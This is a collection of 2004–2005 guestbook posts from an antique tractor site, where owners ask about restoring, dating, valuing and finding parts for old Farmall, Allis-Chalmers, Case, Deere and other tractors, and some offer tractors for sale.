Philip S. Robustellini wrote on Saturday, January 29, 2005 (PST):I have recently aquired a M M Z and it is suppose to be a 1937 I'm going to restore this summer.
dennis wrote on Friday, January 28, 2005 (PST):Anyone have a swingbar for m widefrontend?thanks
Dennis wrote on Friday, January 28, 2005 (PST):I have a 41-42 farmall M.Wide frontend,hydr,12volt,Anyone have any photos of anything close?
Danny Hoover wrote on Wednesday, January 26, 2005 (PST):I started restoring allis chalmer tractors about two years ago. I purchased a cockshutt 30 here in South Carolina. The tractor had not been running in 30 some odd years but I lucked up and got it running like a top. The question I have, does cockshutt have a data book like the other tractors have for more additional information? If so where can I purchase a book. Thanks for any help.
Chris wrote on Tuesday, January 25, 2005 (PST):1947 Case VAO, Runs great $400.00 Palmdale Ca
john olson wrote on Tuesday, January 25, 2005 (PST):I got a bf avery tractor from a friend of mine a year or so ago with a stuck motor fixed tat Im just not shur of the model I was told it was a 1949 or 1950. The tractor has three point hauldralic and a wide front. the paint on it even loks original it also came with the threepoint machinery. plow disk mower back blade and half tracks. any help with this would be nice. i wold also like to know any value of this
shadrock wrote on Monday, January 24, 2005 (PST):I own a 1950 model flathead v8 rated 100 hp how much trouble would it be to install in 8n tractor need how to book shadetree machinist mechanic by trade or is there still a conversion kit still sold today also have a 150 trysicle diesel massey ferguson for sale in good condition very rare tractor would trade for 4000 or 5000 ford trysicle diesel type of tractor or sell outright
Ken wrote on Monday, January 24, 2005 (PST):I'm just amazed at how many "G people there are - our neighbor, when I was a kid (30+/- years ago) had an orange AC G tractor that he used on their small farm, and had built a trailer that we used to haul our trash to the dump with. My sister and I have great memories of going for a tractor ride with "Mister Mac" when he was hauling things. I was always fascinated with the tractor, simply because the G was such an unusual machine. I remember Mister Mac having to manually crank the engine to start it, but it always started on the 1st or 2nd try - I only remember one occasion when it was being stubborn. I'm glad to see so many people still interested in these, restoring them and appreciating the craftsmanship, durability and sentimental value that they have. Unfortunately, I live in the city and can't have one to play with, so I'm jealous of those who can!!
Robert wrote on Monday, January 24, 2005 (PST):I found a picture of a MM UDLX at this site www.minneapolis-moline.com/tturner/IMAGES/MM_Udlx.gif The picture quality is not that well, but it gives a better look at what the tractor looked like.
RONNIE STOUT wrote on Sunday, January 23, 2005 (PST):I want to buy your model A or B IM in the TEXAS hill country and ILL haul it myself ,all tractors considered from mint to junk........thanks please e mail me and tell me about your tractor and leave your phone # and ILL get back to you,thanks again.
Erin wrote on Sunday, January 23, 2005 (PST):I have a Farmall M. And I would like to find out what year model it is from the serial number. Can any one help me? Thanks Thats a nice looking M you have!!!
Erin wrote on Sunday, January 23, 2005 (PST):I have a Farmall M. And I would like to find out what year model it is from the serial number. Can any one help me? Thanks Thats a nice looking M you have!!!
RONNIE STOUT wrote on Sunday, January 23, 2005 (PST):wanted oliver tractor call 830-3246520,TEXAS huill country
Mitch wrote on Saturday, January 22, 2005 (PST):I know were their is a I-9 sitting along side the road I asked the owner if she would sell it and she said $500. Is he tractor worth that price? one thing about it is it has a cab, as far as I know you could not get a cab for them, so I wondered if it could be home made but it looks almost to good to be home made. Please tell me what you know about it. Thanks!!!
Robert Johnston wrote on Thursday, January 20, 2005 (PST):1-20-05 Buying first tractor, Looking at a 40,s farmall B. Runs very well, no smoke, Fair paint, good tin. 70/75% rubber. Seems to be over all good shape, with mower. $1800. Is this a fair price?
Clarence Davis wrote on Monday, January 17, 2005 (PST):Dad bought his sons a M-H 81 after the war. The engine was black as is the one I own now. Great little tractor and FAST. We used it for everything around the farm and I used it for going to visit my friends before I was old enough for a drivers licence
Debbie J wrote on Sunday, January 16, 2005 (PST):Will a sickle bar mower from a allis chalmers G fit allis chalmers CA ? Thanks
John wrote on Saturday, January 15, 2005 (PST):I would like buy JD series D 80 820 830, any condition for restoration. Message me about the price.
tedthestick wrote on Saturday, January 15, 2005 (PST):I have a super a. My job is failure analysis. Imagine a 1953 model with maybe 300 hours on it ,always shedded and only driven by a little old lady. The only parts of this tractor that are not original are the paint, tires and sparkplugs/filters/fluids. It not only has the metal Id tag below the seat, it also has the paper patent tag.It starts and runs better than my new fuel injected truck.It shows no wear on any bearing surface,be it gear,wheel or steering.They dont build them like this anymore.I love this tractor.
Jimmy wrote on Friday, January 14, 2005 (PST):I if it's not GREEN THEN GO SUCK A BEAN! GO ALL THE WAY JOHN DEERES!
RODNEY DURANT wrote on Friday, January 14, 2005 (PST):I FOUND A MH 44D WITH 3 POINT HITCH ENGINE LOCKED UP HAS BEEN SITTING FOR SEVERAL YEARS METAL STRAIGHT WITH EXCEPTION TO GRILL. ALL RUBBER WHAT IS THE VALUE PLEASE HELP, 10 YEAR OLD SON'S PROJECT.
philip schmidt wrote on Friday, January 14, 2005 (PST):i bought an sc last summer and it works fine but it is a problem to hook up to a wagon with the hand clutch
Julian braun wrote on Thursday, January 13, 2005 (PST):I would like to know what year of Farmall A tractor I have. The serial number plate is missing. I would like to know what year or if its a Super A. Its got a single post shock absorber seat. A latch style engine cover instead of the normal common head screw latch. I would like to restore this tractor so if anybody knows any information please email me. Thanks, Julian
Steve Herron wrote on Thursday, January 13, 2005 (PST):Ive just bought a 1952 Rowcrop 66 w/ wide front end (gasoline) and the wiring loom has been cut in several places including between the dash and the hydra-lectric unit. The three-point lift has a single cylinder yo the right of the floorboard, and appears to function properly (lifts up & down w/ lever in front of seat) . There doesnt appear to be any other hydraulics anywhere else on the tractor. Can you tell me what hydra-lectric is? I also need to find a wiring diagram for this tractor. I was told it is part of the original 1400 page manual, but I cant afford the 139.00 price tag. Any ideas?
Butch Winchar wrote on Wednesday, January 12, 2005 (PST):Is there any info out there on how to perform this conversion from 4 cyl. to V8? I'm interested. I have a '52 8N. Thx, Butch Winchar Renton, WA.
jim bruce wrote on Wednesday, January 12, 2005 (PST):we had a rumely do all with the 4 cyl waukesha engine. also had a rumely pull type combine withhe same engine. the rear wheels could be moved forward causing the jack gears to raise the tractor so you could cultivate corn. a long tail was added with a castor wheeel on th rear. this wheel locked when driving straight and was unlocked to turn around using the brakes. the steering was then hooked to the drive wheels so they could be turned just a little, keeping the tractor on the row. the seat, steering wheel, clutch, gearshift, and brakes were extended back to the castor wheel so you sat at the front of the castor wheel, astraddle the extension. the cultivator had two foot pedals to shift the cultivator sideways if you got off the row a little. you really took a ride sitting over that tail wheel when you turned around at the end of the row. i saw the hired man turn around in a shallow ditch and it came around so fast he could'nt get his foot off the brake sso kept going round and round. each time the small castor wheel went down in the ditch it would almost throw him off. i was a lilttle boy and thought it was really funny, but it could have been serious.
Jeff Klingenfus wrote on Wednesday, January 12, 2005 (PST):I own a A farmall would like find a sickle bar mower,rear or side mounted that, would fit an "A". Thanks, Jeff
Richard Polak wrote on Wednesday, January 12, 2005 (PST):I have an un-restored 1959 Farmall Cub that appears to be completely original. This tractor is in running condition and has a belly mower. Asking $1800.00
CHUCK VON LATTA wrote on Tuesday, January 11, 2005 (PST):1938 CASE CO (ORCHARD)FOR SALE DROVE IT TO WHERE IT IS NOW, BUT NOT RUN IN FIVE YEARS. FAIR COND FOR AGE. 209 9680692 MODESTO, CA.
jeff wilemon wrote on Monday, January 10, 2005 (PST): i have a 1954 case model 1 hay bailer serial number under 6,900 in almost perfect condition and i would like to sale it. do you have any idea its value.
Will wrote on Monday, January 10, 2005 (PST):Am looking for a Cub to purchase, preferably with as many attachments as I can get. I would like to find one to rebuild. We're in So. Ariz.. Thanks. Will & Fran
Larry Wlodarsky wrote on Monday, January 10, 2005 (PST):I am selling my Alice Chalmers G - good hydralics, w/cultivators, new paint, runs good, looks good. Northern Ohio. Asking $3,200.00.
Larry Wlodarsky wrote on Monday, January 10, 2005 (PST):I am selling my Alice Chomer G - good hydralics, w/cultivators, new paint, runs great. Asking $ 3,200.00
Alan Eden wrote on Sunday, January 09, 2005 (PST):My husband has a 1946-2N or 8N Ford Tractor, having problems with starting the tractor. He changed the spark plugs and started the tractor, it ran for approximately 10 minutes pushed the clutch in and pulled up on the PTO lever and the tractor died and it won't start again. Apparently it has ruined the plugs again. What might be causing the problem. Has had the tractor for two years and has used it very little. Can't keep it running. Please help if any advise. Thanks edenshollow at aol.com
andy andersen wrote on Sunday, January 09, 2005 (PST):im looking for an old farmall i live in michigan if anyone has one they could seel me let me know feel free to e-mail me. let me know if there is any for sale around here
Eugene Kinzel wrote on Sunday, January 09, 2005 (PST):I'm restoring a 1930 Case L that's been in my family since new. Need the front steel wheels, magneto, intake-exhaust manifold with the pre heater box on it for a Kingston carb, and a good gas tank double compartment.
Eugene Kinzel wrote on Sunday, January 09, 2005 (PST):I'm restoring a 1930 Case L that's been in my family since new. Need the front steel wheels, magneto, intake-exhaust manifold with the pre heater box on it for a Kingston carb, and a good gas tank double compartment.
Allen Adams wrote on Saturday, January 08, 2005 (PST):I bought a 52' Cub and it sounds like the gears are all dry inside when it drives. Is that normal? The guy I bought it from still used it for mowing, and said it was good to go. I just don't know what a tractor is supposed to sound like. (sounds like dry gears in transmission or rear axel to me?)
Rick wrote on Friday, January 07, 2005 (PST):Does any one have a set of arps tracks for sale. I would like a pair for my 861. Please email me if you have a set for sale. Please state price and your location. Thank You
Victor R. Harris wrote on Friday, January 07, 2005 (PST):My dad (78) and myself (53) are rebuilding our old 1937 Z we used on the farm in Oklahoma until 1967. The Z had set in a field until we started the restore 1 year ago. My dad Walt Harris worked for Moline in the OKC warehouse from 1946 until 1962 when they closed the OKC branch. We have the totally rebuilt the engine, drive train, PIO etc. and will be ready to start the tractor as soon has we get the Magneto rebuilt and overhaul the oil pump. Wish us luck, this old tractor means a lot to us. I still remember starting it when I was 10 (which was not easy with a hand crank) and started down the dirt road in front of our farm. My dad caught me and did not get mad, in fact he was proud a skinny boy could start it.
Dean wrote on Friday, January 07, 2005 (PST):I am looking for close up pictures of the governor linkage on both sides of a WD. I am trying to install my linkage back on. Can some one send me some pics of their WD for reference? Thank!
Jim Broughton wrote on Thursday, January 06, 2005 (PST): Carl; Most likely the "tube" that runs from your oil pump to the presure gauge is stopped up...fairly common on Cubs. You'll have to remove the pan, clean up the pump and "rod-out" that tube..after sitting so long, the old oil "coagulates" and stops up that tube. Aftercleaning and rodding, replace pan gaskets,pan and put in fresh oil..she is probably alright.(Wouldn't hurt to check bearings down there while you have the pan off). Lotsa luck, Jim
Thomas Otley wrote on Thursday, January 06, 2005 (PST):My Fiancee's father left him his tractor which he grew up on and always was told it was an 8N we got to looking at the serial number and it reads *9N195560*, assuming now that it is a 9N...we dont know the exact year, can you help us determine its age? Also we have found parts on it that seem to say it is an 8N instead. Would appreciate your helpas he is wanting to restore it to its original shape. Thanks
paul l wrote on Thursday, January 06, 2005 (PST):my father has a 1942-9n must have been army time special,it's on steel wheels,front and back,hand crank only,magneto,no lights,no battery,is or was running looking to sell to someone for restoration,not resale send info to paull at rgmazergroup.ca
Carl Ermert wrote on Wednesday, January 05, 2005 (PST):My Cub has been sitting for about four years. When I last started it, I got no oil pressure and shut it off immediately. I believe that I might have lost the prime in my oil pump. How might I be able to prime the pump externally? 209-586-3519 California
BRIAN ROCH wrote on Wednesday, January 05, 2005 (PST):I HAVE TWO DC AIR CLEANER STACKS FOR SALE MINOR DAMAGE CAN BE RESTORED SELL BOTH FOR 28.00
Carey Grzadzinski wrote on Tuesday, January 04, 2005 (PST):I have a Allis Chalmers tractor. I bought it about 10 years ago and it worked great. A "friend" boroughed it and left it set in the field for about 6 years. I want to restore it but not sure exactly what model it is. There are many numbers on it. Engine-WP 281897-GA, frame rails 260870, by shifter I-LC-NP, case 200931, brake cover left AM 3834-7. Can anyone tell me year and model?
Jeff Stone wrote on Monday, January 03, 2005 (PST):PARTS NEEDED; for 31 D John Deere, i have a edison mag. I need the clamp thats loosened to adjust timing. parts manual calls it a control arm part number i think is D255R my mag number is T46041 if you can help please email me.
Dylan Smith wrote on Monday, January 03, 2005 (PST):I own a 1951 M it has an aftermarket wide front and power - steering.It runs very well...after you get it warmed up a-nyway.Ms are the best tractors I'v ever seen.
Ross Cain wrote on Monday, January 03, 2005 (PST):I own a model z.t.e. Serial Number 588642E. Can anyone date this tractor for me. Thankyou very much. Ross,,
Garth wrote on Sunday, January 02, 2005 (PST):Hi, I own and restored a 1950 Farmall H at the age of 12. I recieved this as a birthday present. Last winter I restored it (with help from my dad on the hard bolts and such). I am now very proud of my work.This tractor has all the fixings from a belt pulley, toolbox, electric start,and a custom PTO cover with my name on it.I want a precleaner but I can not find one.Can someone help me. Now my dad and I are now working on a Farmall M, but we need a little help getting the motor and pistons unstuck. We have used deisel fuel, but unfortunaly that has not worked. If anyone has any suggestions I will be willing to try them.
Garth wrote on Sunday, January 02, 2005 (PST):Hi, I love Farmall tractors including the H and M. I have restored a Farmall H at the age of 12. My H has all the fixings. I have a belt pulley,electric start, custom PTO cover with my name on it.Now the H is all done but I want a precleaner really bad. I need help finding one.Now my father and I are restoring the M. I love the power of this tractor. We need help getting the pistons unstuck. We tried Deisel fuel, but that did not work.I want suggestions.
Garth wrote on Sunday, January 02, 2005 (PST):Hi, I own and restored a 1950 Farmall H at the age of 12. I recieved this as a birthday present. Last winter I restored it (with help from my dad on the hard bolts and such). I am now very proud of my work. Now my dad and I are now working on a Farmall M, but we need a little help getting the motor and pistons unstuck. We have used deisel fuel, but unfortunaly that has not worked. If anyone has any suggestions I will be willing to try them.
larry washburn wrote on Sunday, January 02, 2005 (PST):I have just purchased a 1941 LA with a one bottem plow and a 6 prong cultivator, but do not know how this attaches to the tractor., between wheels or from the back. anyone have one? Larry
larry hall wrote on Saturday, January 01, 2005 (PST):Hi, I have acquired a Ford 8N tractor that has been parked for 30 plus years. Two questions; 1. Should I spray WD 40 (or some other lubricant) in each cylinder before I attempt to start it? 2. How do you "open" or remove the "hood"? Any tips for starting it will be helpful. Larry Leesville, South Carolina
Lew Munger wrote on Friday, December 31, 2004 (PST):My father had a 1948 8n with a set of half tracks for it. This tractor was almost impossible to get stuck and when you did it was almost impossible to get it removed. He would this to do spring plowing, cleaning the barn yard out in the winter and most of all snow removal. I was glad to see this picture due the fact that no one I know has ever head of or seen half tracks for a tractor.
Ken McChesney wrote on Thursday, December 30, 2004 (PST):I have a 1955 Oliver super 77 diesel i am restoring, i was raised on this tractor and bought it from my dad. I need the Oliver Emblem that goes on the front. I bought a decal kit BUT this emblem was not in the kit. where can i find this emblem ?? also need tool box cover. I will be pulling this tractor this coming season and plan on kick'n some red tractor BUTT. What is the max RPM i can turn with this engine ?? Thanks Ken
Todd B wrote on Thursday, December 30, 2004 (PST):I have purchased my grandfathers farm 12 years ago and with the farm I got a Oliver super 55. I am looking for a new rubber seat spring. Does any one know where I can get this part?
Pat O'Connor wrote on Wednesday, December 29, 2004 (PST):I am restoring a farmall super a for an ffa project and i need to know if they had a water pump or not and any other information that i can get about it
Jerry Landers wrote on Wednesday, December 29, 2004 (PST):I am interested in purchasing implements and the rear hydraulic system for a model G. I have a plow, cultivators and a sycle bar mower.
jeff johnson wrote on Monday, December 27, 2004 (PST):i need an engine block for a '41 A
Mickey Eaton wrote on Monday, December 27, 2004 (PST):I have a 1940 Oliver 70 I am restoring. Can you tell me if the dash light has a hood across the bulb or was it just stright?
CARL HARTLEY wrote on Saturday, December 25, 2004 (PST): LIVE IN EASTERN CANADA WE HAVE LOTS MASSEYS HERE I OWN A MASSEY 30 MAYBE THEY ARE DES DIFFERENT HERE I HAVE A FRIEND WHO OWNS 5 MASSEYS UP HERE THEY ARE USUALLY NUMBERED 20 22 30 33 101JR 102JR 44
james wmoore wrote on Friday, December 24, 2004 (PST):I have an 816 for sale in running condition.call me at [704] 422-3755 after 10;00 pm.
james w moore wrote on Friday, December 24, 2004 (PST): I am an owner of 35 farmalls and MD's. I have parts for M's, SM's, MD's, and SMD's. Any questions call me. I can work on injection pumps. (7o4)422-3755. Also have a 8.16 McCormick deering for sale.
roger r wrote on Friday, December 24, 2004 (PST):For sale B 68786 Nebraska #102045 1944? new eng New paint, sandblasted,primed & painted with ih brand paint, looks nice pics availble,needs finished( battery box & tires)delivery? 2200/offer
Royce Carter - Lanesville, IN wrote on Thursday, December 23, 2004 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few years ago became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I have now repainted the tractor but still need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Royce Carter - Lanesville, IN wrote on Thursday, December 23, 2004 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few years ago became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I have now repainted the tractor but still need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Royce Carter - Lanesville, IN wrote on Thursday, December 23, 2004 (PST):My Dad bought a 1950 Model "A" Avery similar to the one pictured in 1950. I used the tractor as a young farmer growing up in Tennessee, and we sold it when my Dad died in 1982. I moved to Indiana in the late 60's and a few years ago became very interested in trying to find my Dad's old Avery. Luckily, I found it was bought by one of the neighbors in Tennessee, and still in fairly good condition, but short of TLC. The owner sold it to me and I have now repainted the tractor but still need help finding sources for parts, gaskets, etc. I have the original manual with all part #'s etc. Any and all suggestions as to where to find parts would be gratefully appreciated.
Dan wrote on Thursday, December 23, 2004 (PST):I am looking for planters & cultivators. I live in central Al.
Jim Bolster wrote on Wednesday, December 22, 2004 (PST):Gordon Rice continues to be a great source of parts/information for my restoration of our 1927 Regular; gjrice at aol.com or 814/226-9200
Lynn Stowe wrote on Tuesday, December 21, 2004 (PST):Some where in 1945-1950 my father purchased a F-12, on steel front and rear. Front wheel was single. It was a combination Kerosene at Gas. Started on gas then to Kerosene. I have in my mind it was orange (but that was a few years ago) would this be enough information for a year.
Orest d wrote on Monday, December 20, 2004 (PST):I still have one R redone the diesel motor put thepup motor leaks oil so going to rebuld it hopeing to be able to bet parts from dealer may sell in futer
C.B.Kron wrote on Sunday, December 19, 2004 (PST):I have a Farmall A which has a seat with one large, central coil spring instead of the more familiar seat. I can't find a serial number in the normal location. Can someone tell me more about it and the year of manufacture?
Terry wrote on Saturday, December 18, 2004 (PST):I just found out that my great grandfather sold The Yuba Ball Tread Tractor. He was th exclusive (Jonach Brothers) agent in Nemaha County , Kansas. Sold Model 18 for $3,000 and Model 12 for $2,250. He used it to farm about 400 acres. This is all I Know about this tractor.
Jim Broughton wrote on Friday, December 17, 2004 (PST): Lowell; Your Cub is a late 1948 model. Lotsa luck with it..they are great little tractors !! Jim
DEAN BARNETT wrote on Thursday, December 16, 2004 (PST):I HAVE A 1963 FARMALL IH560 DIESEL SN 57159SY WAS RUNNING GOOD WHEN OWNER PASSED AWAY 10 YEARS AGO, HAS SINCE BEEN SETTING OUT AND IS QUITE WEATHERED TIRES ARE STILL UP AND NOT CRACKED TOO BAD, (PICTURES AVAILABLE) UNIT IS IN TEXAS WILL CONSIDER REASONABLE OFFER. INTERESTED EMAIL DEANBARNETT at COX.NET OLD CASE AND 48 H FARMALL ALSO AVAILABLE
Tan wrote on Thursday, December 16, 2004 (PST):I just bought a cub for $1000.It came with a sicle mower,original color still on it.And a set of cultivators. the tractor is in good shape. I think I got a good deal.
Bob Davis wrote on Thursday, December 16, 2004 (PST):I have VAO#5557653 it runs & plan to work fields w/it. Question;what kind of lubricant for trans and hydraulic system? Also, where could I obtain a hood....orig. hood about beyond repair (it was rolled sometime back in history)
D.B. McCann wrote on Tuesday, December 14, 2004 (PST):I own one off these old tractors it runs like a top ,will crank b-4 you get to it,it stars so easy.But I need a tire and wheel if anyone knows where there is one ava,without getting high-jacked 10 x 34 thanks .
Pat Loughlin wrote on Tuesday, December 14, 2004 (PST):I'm working on a model R that was on the cover of fast line magizine in april 98. I'm looking for pistons and rings. There hard to find.
Lowell Ragsdale wrote on Monday, December 13, 2004 (PST):I have just purchased a Farmall Cub with Serial # 46925. could someone tell me the age of this tractor.
Paul Widmann wrote on Saturday, December 11, 2004 (PST):I'm new to the AC family, so be nice. I just found the cutest WD 45 (gas). How much are these worth? I have not found a ser# tag yet, can someone tell me where that might be? The metal is almost perfect, it has a tricycle front end. Any help on this would be great. Thanks Paul
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
James Coombs wrote on Thursday, December 09, 2004 (PST):Caleb Im thinking you would find a single wheel on a BN more often as it was designed to cultivate two rows at a narower spacing ,one tire giving more clearence between folage .
redrider wrote on Wednesday, December 08, 2004 (PST):looking for a B or Bn some where close to michigan any shape
chuck trowbridge wrote on Tuesday, December 07, 2004 (PST):I recently got a 1466. It is a really nice tractor and really tight. I took it to a tractor pull this summer, and everyone was like you are going to tear it up it has a good record at teh track. MY tractor tore it up until the turbo whined down. Then I just stopped, had nothing. The tractor was dinoed at 145 when I got it, but it has a intercooler put on it. What I am thinking it was turned down and maybe did something to the governor to get it down to 145 hp again. I was told I could push 200hp with the intercooler installed I have backed the screw out a few turns on the pump, but I cant tell the difference, it doesn't seem like it is gettting enough fuel. When using the tractor for farm work especially pulling our 4*18 moldboard plows ti does the same thing. Pictures that people have taken when I was pulling last year showed I was putting out very little dark smoke and I know this is wrong. I am new to the scean of the 66 series. We have only ran reds. I would like to do a little better this year and just increase the all around performance of my tractor. I am 19 and am fairly mechanical, just have the experience. Could anyone help me?
Kaz Gratkowski wrote on Tuesday, December 07, 2004 (PST):I have a 15-25 Rock Island model G2-90632 that I am interested in selling. Running when parked inside 10 years ago. Mag was rebuilt then. Engine is now stuck due to condensation. Steel in perfect condition. Will consider all reasonable offers. Delivery would be responsibility of buyer. Located in lower Southwestern Michigan. Send email or phone 269-423-4291 or cellphone 269-501-2796.
Robert Mathers wrote on Tuesday, December 07, 2004 (PST):Does anyone have a wiring diagram for a 1948 Massey Pony. Mine does not have lights or a light switch.It does have a generator cut out,instead of a regulator.I have to install all new wires.
warren wells wrote on Tuesday, December 07, 2004 (PST):Goodmorning, Would someone please put me in contact with someone that can give me an honest value of my tractor? It is a 1960 730 D electric start with 4-6 volt batteries. Tractor has been shedded all its life, has the original tires and original 2100 hours. I got the tractor from my great uncle 3 months ago, who bought it new in 1960. He quit farming in 1965, but would start the tractor every year and circulate the fluids for 30 minutes or so. I put 4 new batteries in it and it fired right off. I suppose to be absolutely perfect, it would need new paint, but I've heard that in it's original condition might be best. I may want to sell the tractor in the future. Warren Wells Program Manager DHS-OIG (405)522-5880
ken coleman wrote on Monday, December 06, 2004 (PST):I have a 1952 super md that is disassembled and needs a new cylinder sleeve...does anyone know where I can get one. (or a good block or complete engine)? Any help would be appreciated. Thanks....I also have another '52 smd and a '52 sm that are in working condition.
Chet Van Raalte wrote on Monday, December 06, 2004 (PST):My grandpa had a MM Z when he was groing up. He mentioned that he would like to find one. Does any one know where I could find one? I would like to see him with one that he grew up with. If any one does, please let me know. Thank you very much
dbmccann wrote on Monday, December 06, 2004 (PST):I'm lookin for a 10 x 34 rear tire and wheel for a 46 model wood anyone have any ideas close to memphis,tn or jonesboro,ar thanks Dan
Bill wrote on Saturday, December 04, 2004 (PST):Looking for a blade and mounting hardware and brackets for a G without hydraulics.
Bob wrote on Saturday, December 04, 2004 (PST):Hi folks still looking for front steel wheels for a Tri-cycle Rumely Do-All if anyone has information on the where abouts please contact me by e-mail. The part number is C4C419. I also need the original steering wheel also and that part number is C4C264. Thanks everyone!
don mccune wrote on Friday, December 03, 2004 (PST):I'm looking for a john deere L or LA for sale also starter & ring gear, or flywheel with ring gear for LUC engine
tim cruse wrote on Friday, December 03, 2004 (PST):How do you mount the starter on the V-8 conversion? Explain please?? Also which clutch and pressure plate I use, the one on the tractor or from the truck??
Linda wrote on Friday, December 03, 2004 (PST):For accuracy in a story I'm writing, I would like to know if a Farmall M would ever need to have the timing adjusted. I know next to nothing about tractors and engines, and I'd really appreciate your help. Thank you!
Herb wrote on Wednesday, December 01, 2004 (PST):I own an International B275 Tractor and am looking for a Governor Diaphragm. Engine No. 75l 609 R3. If anyone knows where i can get one of these - would you email. I would greatly appreciate any help on this.
James Coombs wrote on Tuesday, November 30, 2004 (PST): Rick all I Know about the farmall B is that the N means the the rear tread with is narrower than the plain B.
Emil Rohland wrote on Tuesday, November 30, 2004 (PST): John Doe needs a WD allis Magneto I have one plus many other parts for same also have carburetor and oilpump for 40 cockshutt
Brandon Berg wrote on Monday, November 29, 2004 (PST):I need replacement sheet metal for my Farmall H and M such as a hood and grill. Does anyone know of a reliable parts company from who I can get these replacement parts from?
Henry Hahn wrote on Sunday, November 28, 2004 (PST):You can find the year and s/n steel stamped on the insterment panel below the gages about 1/4 inch up from the bottom edge. Henry
Danile Lavoie wrote on Sunday, November 28, 2004 (PST):Je cherche savoie quelle valeur peut avoir un tracteur cockshutt 1953 srie 35 que je possde. I try to know what is the value of my tractor Cockshutt 1953 serie 35
Malcolm Robertson wrote on Saturday, November 27, 2004 (PST):There in New Zealand i am trying to redo the motor and get the 44 Tractor going. There were a number of Massey Harris 44 Tractors in NZ .I myself spend many hours riding on one ploughing the land, as a 10 year old boy back in the 1950 in West Otago NZ
William P wrote on Friday, November 26, 2004 (PST):I have a 41 M that my dad traded a 1600 Ford for. I am going to restore it but that's kinda hard when it's getting used all the time. I'm 13 years old and i'd rather use my M insted of our 1900 Ford, 6700 Ford, or our Black stripe IH 1066.
Nathan Rogers wrote on Thursday, November 25, 2004 (PST):For some reason i have always been an admirer of the John Deere model R. It is the noise,the torque,and the power.
Ted Osborne wrote on Thursday, November 25, 2004 (PST):I have one just like it. Case Eagle 3pt. hitch and all.It is a 1951 model. I found it in a junk yard and fixed it up and have been plowing with it ,it runs and likes good.Please add mine to the list of old tractors.
Goodrich Tractor Parts wrote on Thursday, November 25, 2004 (PST):35+ Case V Series For parts (607)642-3293 NY
Jim Halter wrote on Wednesday, November 24, 2004 (PST):I need a hood for a MM ZB and both back rims.If anyone would know of any please let me know
Pat Peters wrote on Tuesday, November 23, 2004 (PST):I just bought HART PARR 18-36 all orig. and in good running shape '1930' parade ready, wonder what this is really worth? I collect cockshutt as I WAS A DEALER FOR 35 YEARS
Ellsworth Chase wrote on Monday, November 22, 2004 (PST):I recently full restored a 1952 Super C to showroom condition -- spent ~$5500. I added a hydraulic 3 point hitch from Saginaw, as the tractor had a loader and the hydraulic ports to easily connect. The tractor was purchased new by my dad and I did the right job on it. The tractor results can be view on www.chaselinks.com.
betty gahagan wrote on Monday, November 22, 2004 (PST):Hi all you tractor people question where is the best place to sell tractor books small toy water loo boys 1/16 w9 lots of manuals lots of tractor books antique ones
Keith wrote on Sunday, November 21, 2004 (PST):Have just purchased a 1953 Case VA, with band brakes (in WA State). One brake (right side) was totally frozen and I need parts. I have to replace the oil seals both sides. It may have to do with someone putting AUTOMATIC TRANSMISSION FLUID!?!?!?!? into the final drive. It was mixed around 75/25, but made the 90 weight red. I mostly need the internal parts, but before I have them removed, the brake housing may get damaged as well. I have been working at removing the rusted Brake Drum Nut (2" dia.) for the last week. Any ideas?? THANKS
bill N. wrote on Sunday, November 21, 2004 (PST): I bought a 770 gas NF 7 yrs ago / with loader. late last spring I did a restoration. I'm hopelessly hooked on restoring. I know I had some trouble finding pictures of 770's on the net. Since the HCOPA Nationals in 2004. there are lots of pictures at www.hartparroliver.org I hope it helps some of you out
Steve McGee wrote on Saturday, November 20, 2004 (PST):Have a 48 Cub. Would like a complete grader blade (belly mount, I presume). No hydraulics. Thanks.
Ivan L. Cohen wrote on Friday, November 19, 2004 (PST):I talked on the phone to gentleman in Nebraska a while back about the Rumley Paper weight in my possesion and I have misplaced his name and address. Hoping to locate him again. THANK YOU ILC
Bonita Larson wrote on Friday, November 19, 2004 (PST):Hello, I have a MF-97 disel with good paint and in good running condition encluding a set of duals. I have disabilities with my hands,which are forcing me to sell. I need to find a different tractor that is easier for me to shift. I do love how easy it is to get up on, what a ride.
tim cruse wrote on Thursday, November 18, 2004 (PST):I am looking for a Delbert Conversion Kit for a Ford to make into a v-8....any suggestions
scrany wrote on Thursday, November 18, 2004 (PST):Is anyone interested in buying a 1945 B ? It's located in S/W Missouri? I have one that is in good shape, runs well etc. just needs front tires and paint and its ready to go. Contact me if you are interested. rms31759 at mchsi.com
